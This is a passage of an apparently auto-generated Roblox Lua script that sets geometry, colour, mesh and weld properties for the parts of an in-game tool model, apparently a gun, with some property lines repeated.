- SpecialMesh127.MeshType = Enum.MeshType.FileMesh
- SpecialMesh127.Scale = Vector3.new(0.259259254, 0.259259254, 0.259259254)
- Part128.Parent = Tool0
- Part128.Material = Enum.Material.SmoothPlastic
- Part128.BrickColor = BrickColor.new("Black")
- Part128.Reflectance = 0.20000000298023
- Part128.Rotation = Vector3.new(-90, 0, 0)
- Part128.Anchored = true
- Part128.FormFactor = Enum.FormFactor.Custom
- Part128.Size = Vector3.new(0.200000003, 0.200000003, 0.896296263)
- Part128.CFrame = CFrame.new(34.5, 1.14975703, -13.6740723, 1, 0, -0, 0, 0, 1, 0, -1, 0)
- Part128.BottomSurface = Enum.SurfaceType.Smooth
- Part128.TopSurface = Enum.SurfaceType.Smooth
- Part128.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part128.Position = Vector3.new(34.5, 1.14975703, -13.6740723)
- Part128.Orientation = Vector3.new(-90, 0, 0)
- Part128.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh129.Parent = Part128
- BlockMesh129.Scale = Vector3.new(0.888889134, 0.444444567, 1)
- BlockMesh129.Scale = Vector3.new(0.888889134, 0.444444567, 1)
- Part130.Parent = Tool0
- Part130.Material = Enum.Material.SmoothPlastic
- Part130.Reflectance = 0.20000000298023
- Part130.Anchored = true
- Part130.FormFactor = Enum.FormFactor.Custom
- Part130.Size = Vector3.new(0.200000003, 0.200000003, 0.340744704)
- Part130.CFrame = CFrame.new(34.5999756, 1.40512502, -11.2370005, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part130.BottomSurface = Enum.SurfaceType.Smooth
- Part130.TopSurface = Enum.SurfaceType.Smooth
- Part130.Position = Vector3.new(34.5999756, 1.40512502, -11.2370005)
- BlockMesh131.Parent = Part130
- BlockMesh131.Scale = Vector3.new(0.0370370373, 0.555555463, 1)
- BlockMesh131.Scale = Vector3.new(0.0370370373, 0.555555463, 1)
- Part132.Parent = Tool0
- Part132.Material = Enum.Material.SmoothPlastic
- Part132.BrickColor = BrickColor.new("Black")
- Part132.Reflectance = 0.20000000298023
- Part132.Anchored = true
- Part132.FormFactor = Enum.FormFactor.Custom
- Part132.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part132.CFrame = CFrame.new(34.4963379, 1.64609396, -11.9481201, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part132.BottomSurface = Enum.SurfaceType.Smooth
- Part132.TopSurface = Enum.SurfaceType.Smooth
- Part132.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part132.Position = Vector3.new(34.4963379, 1.64609396, -11.9481201)
- Part132.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh133.Parent = Part132
- BlockMesh133.Scale = Vector3.new(0.481481433, 0.666666746, 0.222222209)
- BlockMesh133.Scale = Vector3.new(0.481481433, 0.666666746, 0.222222209)
- Part134.Parent = Tool0
- Part134.Material = Enum.Material.SmoothPlastic
- Part134.BrickColor = BrickColor.new("Black")
- Part134.Rotation = Vector3.new(0, 0, -135)
- Part134.Anchored = true
- Part134.FormFactor = Enum.FormFactor.Custom
- Part134.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part134.CFrame = CFrame.new(34.5302734, 1.86215794, -11.2036743, -0.70710665, 0.70710659, 0, -0.70710659, -0.70710665, 0, -0, 0, 1)
- Part134.BottomSurface = Enum.SurfaceType.Smooth
- Part134.TopSurface = Enum.SurfaceType.Smooth
- Part134.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part134.Position = Vector3.new(34.5302734, 1.86215794, -11.2036743)
- Part134.Orientation = Vector3.new(0, 0, -135)
- Part134.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh135.Parent = Part134
- BlockMesh135.Scale = Vector3.new(0.0370370373, 0.0740740895, 0.0370370373)
- BlockMesh135.Scale = Vector3.new(0.0370370373, 0.0740740895, 0.0370370373)
- Part136.Parent = Tool0
- Part136.Material = Enum.Material.SmoothPlastic
- Part136.BrickColor = BrickColor.new("Black")
- Part136.Reflectance = 0.20000000298023
- Part136.Rotation = Vector3.new(0, 0, -90)
- Part136.Anchored = true
- Part136.FormFactor = Enum.FormFactor.Custom
- Part136.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part136.CFrame = CFrame.new(34.4481201, 1.67563403, -9.34069824, 0, 1, 0, -0.999999762, 0, 1.49011612e-08, 1.49011612e-08, 0, 0.999999762)
- Part136.BottomSurface = Enum.SurfaceType.Smooth
- Part136.TopSurface = Enum.SurfaceType.Smooth
- Part136.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part136.Position = Vector3.new(34.4481201, 1.67563403, -9.34069824)
- Part136.Orientation = Vector3.new(0, 0, -90)
- Part136.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh137.Parent = Part136
- SpecialMesh137.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
- SpecialMesh137.MeshType = Enum.MeshType.Wedge
- SpecialMesh137.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
- Part138.Parent = Tool0
- Part138.Material = Enum.Material.SmoothPlastic
- Part138.BrickColor = BrickColor.new("Black")
- Part138.Reflectance = 0.20000000298023
- Part138.Rotation = Vector3.new(-90, 0, 0)
- Part138.Anchored = true
- Part138.FormFactor = Enum.FormFactor.Custom
- Part138.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part138.CFrame = CFrame.new(34.5593262, 1.67563403, -9.35180378, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
- Part138.BottomSurface = Enum.SurfaceType.Smooth
- Part138.TopSurface = Enum.SurfaceType.Smooth
- Part138.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part138.Position = Vector3.new(34.5593262, 1.67563403, -9.35180378)
- Part138.Orientation = Vector3.new(-89.9599991, 180, 180)
- Part138.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh139.Parent = Part138
- BlockMesh139.Scale = Vector3.new(0.0740739629, 0.185185209, 0.370370358)
- BlockMesh139.Scale = Vector3.new(0.0740739629, 0.185185209, 0.370370358)
- Part140.Parent = Tool0
- Part140.Material = Enum.Material.SmoothPlastic
- Part140.BrickColor = BrickColor.new("Black")
- Part140.Reflectance = 0.20000000298023
- Part140.Rotation = Vector3.new(90, 0, 180)
- Part140.Anchored = true
- Part140.FormFactor = Enum.FormFactor.Custom
- Part140.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part140.CFrame = CFrame.new(34.4333496, 1.67563403, -9.35180378, -1, -0, 0, -0, -1.49011612e-08, -0.999999762, -0, -0.999999762, 1.49011612e-08)
- Part140.BottomSurface = Enum.SurfaceType.Smooth
- Part140.TopSurface = Enum.SurfaceType.Smooth
- Part140.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part140.Position = Vector3.new(34.4333496, 1.67563403, -9.35180378)
- Part140.Orientation = Vector3.new(89.9599991, 0, -180)
- Part140.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh141.Parent = Part140
- BlockMesh141.Scale = Vector3.new(0.0740739629, 0.185185209, 0.370370358)
- BlockMesh141.Scale = Vector3.new(0.0740739629, 0.185185209, 0.370370358)
- Part142.Parent = Tool0
- Part142.Material = Enum.Material.SmoothPlastic
- Part142.BrickColor = BrickColor.new("Really black")
- Part142.Reflectance = 0.20000000298023
- Part142.Anchored = true
- Part142.FormFactor = Enum.FormFactor.Custom
- Part142.Size = Vector3.new(0.207407445, 0.200000003, 0.200000003)
- Part142.CFrame = CFrame.new(34.5, 1.30527401, -10.3259258, 0.999998569, 1.91068229e-15, -4.37113172e-08, -1.91068059e-15, 0.999998331, -3.55271368e-15, 4.37112746e-08, 0, 0.999997377)
- Part142.BottomSurface = Enum.SurfaceType.Smooth
- Part142.TopSurface = Enum.SurfaceType.Smooth
- Part142.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part142.Position = Vector3.new(34.5, 1.30527401, -10.3259258)
- Part142.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- SpecialMesh143.Parent = Part142
- SpecialMesh143.Scale = Vector3.new(1, 0.370366931, 0.44444418)
- SpecialMesh143.MeshType = Enum.MeshType.Wedge
- SpecialMesh143.Scale = Vector3.new(1, 0.370366931, 0.44444418)
- Part144.Parent = Tool0
- Part144.Material = Enum.Material.SmoothPlastic
- Part144.BrickColor = BrickColor.new("Black")
- Part144.Reflectance = 0.20000000298023
- Part144.Anchored = true
- Part144.FormFactor = Enum.FormFactor.Custom
- Part144.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part144.CFrame = CFrame.new(34.4963379, 1.60532296, -9.10735989, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part144.BottomSurface = Enum.SurfaceType.Smooth
- Part144.TopSurface = Enum.SurfaceType.Smooth
- Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part144.Position = Vector3.new(34.4963379, 1.60532296, -9.10735989)
- Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh145.Parent = Part144
- BlockMesh145.Scale = Vector3.new(0.481481433, 0.333333373, 0.555555582)
- BlockMesh145.Scale = Vector3.new(0.481481433, 0.333333373, 0.555555582)
- Part146.Parent = Tool0
- Part146.Material = Enum.Material.SmoothPlastic
- Part146.BrickColor = BrickColor.new("Black")
- Part146.Reflectance = 0.20000000298023
- Part146.Rotation = Vector3.new(180, 0, -90)
- Part146.Anchored = true
- Part146.FormFactor = Enum.FormFactor.Custom
- Part146.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part146.CFrame = CFrame.new(34.4630127, 1.67563403, -9.39257813, 0, 1, -0, 0.999999762, 0, -1.49011612e-08, -1.49011612e-08, 0, -0.999999762)
- Part146.BottomSurface = Enum.SurfaceType.Smooth
- Part146.TopSurface = Enum.SurfaceType.Smooth
- Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part146.Position = Vector3.new(34.4630127, 1.67563403, -9.39257813)
- Part146.Orientation = Vector3.new(0, -180, 90)
- Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh147.Parent = Part146
- SpecialMesh147.Scale = Vector3.new(0.370370418, 0.0740740821, 0.0740740821)
- SpecialMesh147.MeshType = Enum.MeshType.Wedge
- SpecialMesh147.Scale = Vector3.new(0.370370418, 0.0740740821, 0.0740740821)
- Part148.Parent = Tool0
- Part148.Material = Enum.Material.SmoothPlastic
- Part148.BrickColor = BrickColor.new("Black")
- Part148.Rotation = Vector3.new(180, 0, 90)
- Part148.Anchored = true
- Part148.FormFactor = Enum.FormFactor.Custom
- Part148.Size = Vector3.new(0.200000003, 0.200000003, 1.34074688)
- Part148.CFrame = CFrame.new(34.3963623, 1.42001903, -9.67034817, 0, -1, -0, -1, 0, -0, 0, 0, -1)
- Part148.BottomSurface = Enum.SurfaceType.Smooth
- Part148.TopSurface = Enum.SurfaceType.Smooth
- Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part148.Position = Vector3.new(34.3963623, 1.42001903, -9.67034817)
- Part148.Orientation = Vector3.new(0, -180, -90)
- Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh149.Parent = Part148
- BlockMesh149.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
- BlockMesh149.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
- Part150.Parent = Tool0
- Part150.Material = Enum.Material.SmoothPlastic
- Part150.BrickColor = BrickColor.new("Black")
- Part150.Rotation = Vector3.new(-15, 0, 0)
- Part150.Anchored = true
- Part150.FormFactor = Enum.FormFactor.Custom
- Part150.Size = Vector3.new(0.200000003, 0.207407385, 0.200000003)
- Part150.CFrame = CFrame.new(34.5037842, 0.922460973, -11.7921143, 1, 0, 0, 0, 0.965925813, 0.258819044, 0, -0.258819044, 0.965925813)
- Part150.BottomSurface = Enum.SurfaceType.Smooth
- Part150.TopSurface = Enum.SurfaceType.Smooth
- Part150.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part150.Position = Vector3.new(34.5037842, 0.922460973, -11.7921143)
- Part150.Orientation = Vector3.new(-15, 0, 0)
- Part150.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh151.Parent = Part150
- BlockMesh151.Scale = Vector3.new(0.185185179, 1, 0.185185179)
- BlockMesh151.Scale = Vector3.new(0.185185179, 1, 0.185185179)
- Part152.Parent = Tool0
- Part152.Material = Enum.Material.SmoothPlastic
- Part152.BrickColor = BrickColor.new("Black")
- Part152.Reflectance = 0.20000000298023
- Part152.Rotation = Vector3.new(-180, 0, 0)
- Part152.Anchored = true
- Part152.FormFactor = Enum.FormFactor.Custom
- Part152.Size = Vector3.new(0.200000003, 0.629629076, 0.200000003)
- Part152.CFrame = CFrame.new(34.5, 0.716408014, -11.9296265, 1, 0, 0, 0, -1, 0, 0, 0, -1)
- Part152.BottomSurface = Enum.SurfaceType.Smooth
- Part152.TopSurface = Enum.SurfaceType.Smooth
- Part152.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part152.Position = Vector3.new(34.5, 0.716408014, -11.9296265)
- Part152.Orientation = Vector3.new(0, 180, 180)
- Part152.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh153.Parent = Part152
- SpecialMesh153.Scale = Vector3.new(0.962963223, 1, 0.92592597)
- SpecialMesh153.MeshType = Enum.MeshType.Wedge
- SpecialMesh153.Scale = Vector3.new(0.962963223, 1, 0.92592597)
- Part154.Parent = Tool0
- Part154.Material = Enum.Material.SmoothPlastic
- Part154.BrickColor = BrickColor.new("Black")
- Part154.Reflectance = 0.20000000298023
- Part154.Anchored = true
- Part154.FormFactor = Enum.FormFactor.Custom
- Part154.Size = Vector3.new(0.200000003, 0.659259379, 0.24444437)
- Part154.CFrame = CFrame.new(34.5, 0.590430021, -12.3666382, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part154.BottomSurface = Enum.SurfaceType.Smooth
- Part154.TopSurface = Enum.SurfaceType.Smooth
- Part154.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part154.Position = Vector3.new(34.5, 0.590430021, -12.3666382)
- Part154.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh155.Parent = Part154
- SpecialMesh155.Scale = Vector3.new(0.962963223, 1, 1)
- SpecialMesh155.MeshType = Enum.MeshType.Wedge
- SpecialMesh155.Scale = Vector3.new(0.962963223, 1, 1)
- Part156.Parent = Tool0
- Part156.Material = Enum.Material.SmoothPlastic
- Part156.BrickColor = BrickColor.new("Black")
- Part156.Reflectance = 0.20000000298023
- Part156.Rotation = Vector3.new(-90, 0, 0)
- Part156.Anchored = true
- Part156.FormFactor = Enum.FormFactor.Custom
- Part156.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part156.CFrame = CFrame.new(34.5444336, 1.67563403, -9.31847382, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
- Part156.BottomSurface = Enum.SurfaceType.Smooth
- Part156.TopSurface = Enum.SurfaceType.Smooth
- Part156.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part156.Position = Vector3.new(34.5444336, 1.67563403, -9.31847382)
- Part156.Orientation = Vector3.new(-89.9599991, 180, 180)
- Part156.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh157.Parent = Part156
- BlockMesh157.Scale = Vector3.new(0.0740739629, 0.148148164, 0.370370358)
- BlockMesh157.Scale = Vector3.new(0.0740739629, 0.148148164, 0.370370358)
- Part158.Parent = Tool0
- Part158.Material = Enum.Material.SmoothPlastic
- Part158.BrickColor = BrickColor.new("Black")
- Part158.Reflectance = 0.20000000298023
- Part158.Rotation = Vector3.new(-90, 0, 0)
- Part158.Anchored = true
- Part158.FormFactor = Enum.FormFactor.Custom
- Part158.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part158.CFrame = CFrame.new(34.4296875, 1.67563403, -12.1740723, 1, 0, -0, 0, 0, 1, 0, -1, 0)
- Part158.BottomSurface = Enum.SurfaceType.Smooth
- Part158.TopSurface = Enum.SurfaceType.Smooth
- Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part158.Position = Vector3.new(34.4296875, 1.67563403, -12.1740723)
- Part158.Orientation = Vector3.new(-90, 0, 0)
- Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh159.Parent = Part158
- BlockMesh159.Scale = Vector3.new(0.111111112, 0.666666627, 0.370370358)
- BlockMesh159.Scale = Vector3.new(0.111111112, 0.666666627, 0.370370358)
- ManualWeld160.Name = "Part-to-AimPart Strong Joint"
- ManualWeld160.Parent = Part158
- ManualWeld160.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld160.C1 = CFrame.new(0.166648865, -0.0962898731, -0.107381821, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
- ManualWeld160.Part0 = Part158
- ManualWeld160.Part1 = Part237
- Part161.Parent = Tool0
- Part161.Material = Enum.Material.SmoothPlastic
- Part161.BrickColor = BrickColor.new("Black")
- Part161.Rotation = Vector3.new(-180, 0, 0)
- Part161.Anchored = true
- Part161.FormFactor = Enum.FormFactor.Custom
- Part161.Size = Vector3.new(0.200000003, 0.200000003, 1.97037506)
- Part161.CFrame = CFrame.new(34.5, 1.26816404, -9.98516846, 1, 0, 0, 0, -1, 0, 0, 0, -1)
- Part161.BottomSurface = Enum.SurfaceType.Smooth
- Part161.TopSurface = Enum.SurfaceType.Smooth
- Part161.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part161.Position = Vector3.new(34.5, 1.26816404, -9.98516846)
- Part161.Orientation = Vector3.new(0, 180, 180)
- Part161.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh162.Parent = Part161
- BlockMesh162.Scale = Vector3.new(0.666667521, 0.51851815, 1)
- BlockMesh162.Scale = Vector3.new(0.666667521, 0.51851815, 1)
- Part163.Parent = Tool0
- Part163.Material = Enum.Material.SmoothPlastic
- Part163.BrickColor = BrickColor.new("Black")
- Part163.Reflectance = 0.20000000298023
- Part163.Rotation = Vector3.new(0, 0, -90)
- Part163.Anchored = true
- Part163.FormFactor = Enum.FormFactor.Custom
- Part163.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part163.CFrame = CFrame.new(34.5371094, 1.67563403, -9.40740967, 0, 1, -0, -1, 0, 0, 0, 0, 1)
- Part163.BottomSurface = Enum.SurfaceType.Smooth
- Part163.TopSurface = Enum.SurfaceType.Smooth
- Part163.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part163.Position = Vector3.new(34.5371094, 1.67563403, -9.40740967)
- Part163.Orientation = Vector3.new(0, 0, -90)
- Part163.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh164.Parent = Part163
- SpecialMesh164.Scale = Vector3.new(0.370370418, 0.148148149, 0.0740740821)
- SpecialMesh164.MeshType = Enum.MeshType.Wedge
- SpecialMesh164.Scale = Vector3.new(0.370370418, 0.148148149, 0.0740740821)
- Part165.Parent = Tool0
- Part165.Material = Enum.Material.SmoothPlastic
- Part165.BrickColor = BrickColor.new("Black")
- Part165.Reflectance = 0.20000000298023
- Part165.Rotation = Vector3.new(-90, 0, 0)
- Part165.Anchored = true
- Part165.FormFactor = Enum.FormFactor.Custom
- Part165.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part165.CFrame = CFrame.new(34.4963379, 1.67197096, -12.166626, 1, 0, -0, 0, 0, 1, 0, -1, 0)
- Part165.BottomSurface = Enum.SurfaceType.Smooth
- Part165.TopSurface = Enum.SurfaceType.Smooth
- Part165.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part165.Position = Vector3.new(34.4963379, 1.67197096, -12.166626)
- Part165.Orientation = Vector3.new(-90, 0, 0)
- Part165.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh166.Parent = Part165
- SpecialMesh166.MeshId = "http://www.roblox.com/asset/?id=3270017"
- SpecialMesh166.Scale = Vector3.new(0.0740740746, 0.0740740746, 0.0740740746)
- SpecialMesh166.MeshType = Enum.MeshType.FileMesh
- SpecialMesh166.Scale = Vector3.new(0.0740740746, 0.0740740746, 0.0740740746)
- ManualWeld167.Name = "Part-to-AimPart Strong Joint"
- ManualWeld167.Parent = Part165
- ManualWeld167.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld167.C1 = CFrame.new(0.0999984741, -0.0999529362, -0.11482811, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
- ManualWeld167.Part0 = Part165
- ManualWeld167.Part1 = Part237
- Part168.Parent = Tool0
- Part168.Material = Enum.Material.SmoothPlastic
- Part168.BrickColor = BrickColor.new("Black")
- Part168.Reflectance = 0.20000000298023
- Part168.Rotation = Vector3.new(90, 0, 180)
- Part168.Anchored = true
- Part168.FormFactor = Enum.FormFactor.Custom
- Part168.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part168.CFrame = CFrame.new(34.4481201, 1.67563403, -9.31847382, -1, -0, 0, -0, -1.49011612e-08, -0.999999762, -0, -0.999999762, 1.49011612e-08)
- Part168.BottomSurface = Enum.SurfaceType.Smooth
- Part168.TopSurface = Enum.SurfaceType.Smooth
- Part168.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part168.Position = Vector3.new(34.4481201, 1.67563403, -9.31847382)
- Part168.Orientation = Vector3.new(89.9599991, 0, -180)
- Part168.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh169.Parent = Part168
- BlockMesh169.Scale = Vector3.new(0.0740739629, 0.148148164, 0.370370358)
- BlockMesh169.Scale = Vector3.new(0.0740739629, 0.148148164, 0.370370358)
- Part170.Parent = Tool0
- Part170.Material = Enum.Material.SmoothPlastic
- Part170.BrickColor = BrickColor.new("Black")
- Part170.Anchored = true
- Part170.FormFactor = Enum.FormFactor.Custom
- Part170.Size = Vector3.new(0.200000003, 0.200000003, 3.39259839)
- Part170.CFrame = CFrame.new(34.5, 1.55698204, -10.6962881, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part170.BottomSurface = Enum.SurfaceType.Smooth
- Part170.TopSurface = Enum.SurfaceType.Smooth
- Part170.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part170.Position = Vector3.new(34.5, 1.55698204, -10.6962881)
- Part170.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh171.Parent = Part170
- BlockMesh171.Scale = Vector3.new(0.666667521, 0.51851815, 1)
- BlockMesh171.Scale = Vector3.new(0.666667521, 0.51851815, 1)
- Part172.Parent = Tool0
- Part172.Material = Enum.Material.SmoothPlastic
- Part172.BrickColor = BrickColor.new("Black")
- Part172.Reflectance = 0.20000000298023
- Part172.Rotation = Vector3.new(180, 0, 90)
- Part172.Anchored = true
- Part172.FormFactor = Enum.FormFactor.Custom
- Part172.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part172.CFrame = CFrame.new(34.4333496, 1.67563403, -9.31847382, 0, -1, -0, -0.999999762, -0, -1.49011612e-08, 1.49011612e-08, -0, -0.999999762)
- Part172.BottomSurface = Enum.SurfaceType.Smooth
- Part172.TopSurface = Enum.SurfaceType.Smooth
- Part172.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part172.Position = Vector3.new(34.4333496, 1.67563403, -9.31847382)
- Part172.Orientation = Vector3.new(0, -180, -90)
- Part172.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh173.Parent = Part172
- SpecialMesh173.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
- SpecialMesh173.MeshType = Enum.MeshType.Wedge
- SpecialMesh173.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
- Part174.Parent = Tool0
- Part174.Material = Enum.Material.SmoothPlastic
- Part174.BrickColor = BrickColor.new("Black")
- Part174.Rotation = Vector3.new(0, 0, -90)
- Part174.Anchored = true
- Part174.FormFactor = Enum.FormFactor.Symmetric
- Part174.Size = Vector3.new(1, 1, 1)
- Part174.CFrame = CFrame.new(34.4996338, 2.04233408, -11.0662165, 0, 1, -0, -1, 0, 0, 0, 0, 1)
- Part174.BottomSurface = Enum.SurfaceType.Smooth
- Part174.TopSurface = Enum.SurfaceType.Smooth
- Part174.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part174.Position = Vector3.new(34.4996338, 2.04233408, -11.0662165)
- Part174.Orientation = Vector3.new(0, 0, -90)
- Part174.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh175.Parent = Part174
- SpecialMesh175.MeshId = "http://www.roblox.com/asset/?id=3270017"
- SpecialMesh175.Scale = Vector3.new(0.185185194, 0.185185194, 0.481481493)
- SpecialMesh175.MeshType = Enum.MeshType.FileMesh
- SpecialMesh175.Scale = Vector3.new(0.185185194, 0.185185194, 0.481481493)
- Part176.Parent = Tool0
- Part176.Material = Enum.Material.SmoothPlastic
- Part176.BrickColor = BrickColor.new("Black")
- Part176.Anchored = true
- Part176.FormFactor = Enum.FormFactor.Custom
- Part176.Size = Vector3.new(0.200000003, 0.340740651, 0.200000003)
- Part176.CFrame = CFrame.new(34.4963379, 1.86826003, -11.2777596, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part176.BottomSurface = Enum.SurfaceType.Smooth
- Part176.TopSurface = Enum.SurfaceType.Smooth
- Part176.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part176.Position = Vector3.new(34.4963379, 1.86826003, -11.2777596)
- Part176.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh177.Parent = Part176
- SpecialMesh177.MeshId = "http://www.roblox.com/asset/?id=3270017"
- SpecialMesh177.Scale = Vector3.new(0.259259254, 0.259259254, 3.70370364)
- SpecialMesh177.MeshType = Enum.MeshType.FileMesh
- SpecialMesh177.Scale = Vector3.new(0.259259254, 0.259259254, 3.70370364)
- Part178.Parent = Tool0
- Part178.Material = Enum.Material.SmoothPlastic
- Part178.BrickColor = BrickColor.new("Black")
- Part178.Reflectance = 0.20000000298023
- Part178.Rotation = Vector3.new(180, 0, -90)
- Part178.Anchored = true
- Part178.FormFactor = Enum.FormFactor.Custom
- Part178.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part178.CFrame = CFrame.new(34.4481201, 1.67563403, -9.37774181, 0, 1, -0, 0.999999762, 0, -1.49011612e-08, -1.49011612e-08, 0, -0.999999762)
- Part178.BottomSurface = Enum.SurfaceType.Smooth
- Part178.TopSurface = Enum.SurfaceType.Smooth
- Part178.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part178.Position = Vector3.new(34.4481201, 1.67563403, -9.37774181)
- Part178.Orientation = Vector3.new(0, -180, 90)
- Part178.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh179.Parent = Part178
- SpecialMesh179.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
- SpecialMesh179.MeshType = Enum.MeshType.Wedge
- SpecialMesh179.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
- Part180.Parent = Tool0
- Part180.Material = Enum.Material.SmoothPlastic
- Part180.BrickColor = BrickColor.new("Black")
- Part180.Reflectance = 0.20000000298023
- Part180.Rotation = Vector3.new(0, 0, 90)
- Part180.Anchored = true
- Part180.FormFactor = Enum.FormFactor.Custom
- Part180.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part180.CFrame = CFrame.new(34.4555664, 1.67563403, -9.40740967, 0, -1, 0, 0.999999762, -0, 1.49011612e-08, -1.49011612e-08, -0, 0.999999762)
- Part180.BottomSurface = Enum.SurfaceType.Smooth
- Part180.TopSurface = Enum.SurfaceType.Smooth
- Part180.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part180.Position = Vector3.new(34.4555664, 1.67563403, -9.40740967)
- Part180.Orientation = Vector3.new(0, 0, 90)
- Part180.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh181.Parent = Part180
- SpecialMesh181.Scale = Vector3.new(0.370370418, 0.148148149, 0.0740740821)
- SpecialMesh181.MeshType = Enum.MeshType.Wedge
- SpecialMesh181.Scale = Vector3.new(0.370370418, 0.148148149, 0.0740740821)
- Part182.Parent = Tool0
- Part182.Material = Enum.Material.SmoothPlastic
- Part182.BrickColor = BrickColor.new("Black")
- Part182.Rotation = Vector3.new(-90, 0, 0)
- Part182.Anchored = true
- Part182.FormFactor = Enum.FormFactor.Custom
- Part182.Size = Vector3.new(0.200000003, 0.200000003, 0.340740591)
- Part182.CFrame = CFrame.new(34.4963379, 1.87045896, -11.2036743, 1, 0, -0, 0, 0, 1, 0, -1, 0)
- Part182.BottomSurface = Enum.SurfaceType.Smooth
- Part182.TopSurface = Enum.SurfaceType.Smooth
- Part182.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part182.Position = Vector3.new(34.4963379, 1.87045896, -11.2036743)
- Part182.Orientation = Vector3.new(-90, 0, 0)
- Part182.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh183.Parent = Part182
- CylinderMesh183.Scale = Vector3.new(0.0703703687, 0.0111111114, 0.100000001)
- CylinderMesh183.Scale = Vector3.new(0.0703703687, 0.0111111114, 0.100000001)
- Part184.Parent = Tool0
- Part184.Material = Enum.Material.SmoothPlastic
- Part184.BrickColor = BrickColor.new("Black")
